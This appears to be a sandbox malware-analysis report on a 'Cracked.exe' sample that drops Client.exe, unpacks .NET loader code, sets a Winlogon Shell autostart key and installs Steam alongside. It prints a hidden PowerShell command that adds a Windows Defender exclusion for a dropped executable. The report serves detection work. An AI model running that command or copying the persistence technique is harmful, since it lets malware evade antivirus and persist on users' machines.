Source:	Binary string: C:\Users\User\Desktop\Pandora DevExpress New\1.8.6 Ready to use\DLL\obj\Release\DLL.pdbd( source: Client.exe, 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, cvtres.exe, 00000007.00000002.617474210.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Client.exe.0.dr, RunPE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: hDvkdxlbo.exe.3.dr, RunPE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 3.0.Client.exe.1b9babc0000.0.unpack, RunPE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 7.2.cvtres.exe.400000.0.unpack, PandoraRecovery.cs	.Net Code: OnResolveAssembly System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'
Source: C:\Windows\System32\ComputerDefaults.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe'

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFBAC184C0C push cs; iretd	1_2_00007FFBAC184C0F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFBAC187C18 push ebx; retf 000Ah	1_2_00007FFBAC187C2A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFBAC187C2D push ebx; retf 000Ah	1_2_00007FFBAC187C8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B9C228 push eax; iretd	7_2_09B9C229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Code function: 7_2_09B93B2A push A800005Eh; ret	7_2_09B93B39
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFBAC1942F2 push eax; iretd	10_2_00007FFBAC194331
Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	Code function: 13_2_01062C10 push 89084589h; iretd	13_2_01062C15

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe

5_2_023610D0

Source: Client.exe.0.dr

Static PE information: 0xF7264755 [Wed May 25 16:16:21 2101 UTC]

Source: initial sample

Static PE information: section name: .text entropy: 6.8703274301736545

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\Cracked.exe

Executable created and started: C:\Windows\Client.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsProcess.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Program Files (x86)\Steam\uninstall.exe	Jump to dropped file
Source: C:\Windows\Client.exe	File created: C:\Users\user\AppData\Local\Temp\LHost\hDvkdxlbo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Program Files (x86)\Steam\Steam.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Program Files (x86)\Steam\bin\SteamService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Cracked.exe	File created: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Cracked.exe	File created: C:\Windows\Client.exe	Jump to dropped file
Source: C:\Program Files (x86)\Steam\bin\SteamService.exe	File created: C:\Program Files (x86)\Common Files\Steam\steamservice.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Cracked.exe

File created: C:\Windows\Client.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Windows\Client.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon Shell

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam\Steam.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Steam\Steam Support Center.url	Jump to behavior

Source: C:\Program Files (x86)\Steam\bin\SteamService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\Steam Client Service

Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Steam			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Steam			Jump to behavior

Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Cracked.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Client.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SteamSetup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
